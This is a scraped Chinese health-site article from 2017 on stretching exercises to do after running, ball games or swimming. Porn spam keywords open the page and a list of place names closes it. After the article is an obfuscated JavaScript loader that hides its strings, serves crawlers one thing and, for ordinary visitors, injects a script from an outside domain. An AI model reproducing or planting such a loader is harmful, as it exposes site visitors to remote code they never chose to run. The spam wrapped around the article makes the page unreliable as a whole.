亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 健康 > 運動健身 > 正文

運動后的伸展運動怎么做

2017-04-17 07:47:39  來源:360常識網(wǎng)   熱度:
導(dǎo)語:不管是跑步、打球、游泳后,在這些運動后,我們都會覺得很疲憊,身體的精力都消耗的差不多了,這時候最好不要因為運動太累就立即休息,要做

不管是跑步、打球、游泳后,在這些運動后,我們都會覺得很疲憊,身體的精力都消耗的差不多了,這時候最好不要因為運動太累就立即休息,要做些伸展運動,這樣可以防止運動后帶來的酸痛感,同時還能減少鍛煉時肌肉的緊張感和痙攣,有效舒展全身,還能防止變蘿卜腿,對維持運動后的效果也有至關(guān)重要的作用,下面就來為大家介紹一下運動后的伸展運動。

活動手腕、腳腕。順時針逆時針各做10次。

全身。雙手手指交叉,手掌向天空方法,雙臂貼近耳朵,將雙臂向上伸展致極限。每15s進行一次。再將身體向左右方向拉伸,舒展側(cè)腰至極限,每個方向每15s一個。注意:胸部始終朝向正前方。

肩膀、腰部。雙腳分開與肩同寬,將右臂朝胸前伸展開,并用左臂壓著右臂,以左臂為牽引腰部向左側(cè)旋轉(zhuǎn)。之后換方向。每15s一次。注意:只能上半身旋轉(zhuǎn),下半身保持朝向正前方。

以上的介紹,相信大家已經(jīng)十分清楚了吧,所以在運動后要記得做伸展運動,可以參照以上的方法進行,在做伸展運動的時候,每個一動作保持一段時間內(nèi),同時不要力度太大,以免造成傷害,同時做伸展運動時要注意呼吸,這樣效果才能更好。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
武胜县| 天气| 伊金霍洛旗| 郯城县| 长阳| 聂荣县| 化州市| 杨浦区| 万宁市| 安阳市| 文昌市| 屏南县| 定远县| 霍山县| 开平市| 巨鹿县| 岳阳市| 北安市| 治县。| 娱乐| 苏尼特左旗| 乐亭县| 资溪县| 噶尔县| 平定县| 临沂市| 安阳市| 遂平县| 镇康县| 新乐市| 和龙市| 桐乡市| 通城县| 重庆市| 海晏县| 台中市| 龙泉市| 龙游县| 南昌市| 新建县| 虎林市|